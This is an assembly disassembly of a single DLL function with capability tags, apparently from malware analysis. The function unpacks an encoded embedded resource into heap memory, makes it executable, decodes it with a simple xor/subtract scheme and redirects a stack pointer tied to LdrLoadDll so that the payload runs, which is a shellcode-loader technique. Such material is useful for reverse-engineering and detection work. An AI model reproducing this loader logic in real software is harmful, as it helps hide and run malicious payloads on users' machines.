Function at 0x10001150
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x20], 0
push 0x10003058
push 0x68
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100011a9
jmp 0x100013b1
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x100011c5
jmp 0x100013b1
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x100011dd
jmp 0x100013b1
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x100011f9
jmp 0x100013b1
mov eax, dword [ebp - 0x20]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x1000121a
jmp 0x100013b1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x14]
push eax
call sym.PostLoadDLL.dll_copyMem
add esp, 0xc
mov byte [ebp - 0xc], 0x90
xor ecx, ecx
mov dword [ebp - 0xb], ecx
mov word [ebp - 7], cx
mov byte [ebp - 5], cl
push str.LdrLoadDll
push 0x10003044
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0xc]
and edx, 0x80000003
jns 0x10001268
dec edx
or edx, 0xfffffffc
inc edx
lea eax, [ebp + edx - 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, 1
test ecx, ecx
je 0x10001343
mov edx, dword [ebp - 0x1c]
add edx, 4
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x28]
add eax, 0x1000
cmp dword [ebp - 0x1c], eax
jbe 0x10001297
jmp 0x10001343
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
cmp edx, dword [ebp - 0x28]
jbe 0x1000133e
mov eax, dword [ebp - 0x28]
add eax, 0x1000
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx], eax
jae 0x1000133e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov dword [edx], eax
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x10]
push ecx
push 0x40
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x100012e4
jmp 0x100013b1
mov dword [ebp - 0x18], 0
jmp 0x100012f6
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x20]
jae 0x1000133c
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
xor ecx, 0x23
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
sub ecx, 1
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
xor ecx, 0x11
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
jmp 0x100012ed
jmp 0x10001343
jmp 0x1000126f
cmp dword [ebp - 0x2c], 0
je 0x10001363
mov eax, dword [ebp - 0x2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x30], 0
je 0x10001383
mov ecx, dword [ebp - 0x30]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x30], 0
cmp dword [ebp - 0x34], 0
je 0x1000139a
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x34], 0
cmp dword [ebp - 0x38], 0
je 0x100013b1
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x38], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100013f3
mov esp, ebp
pop ebp
ret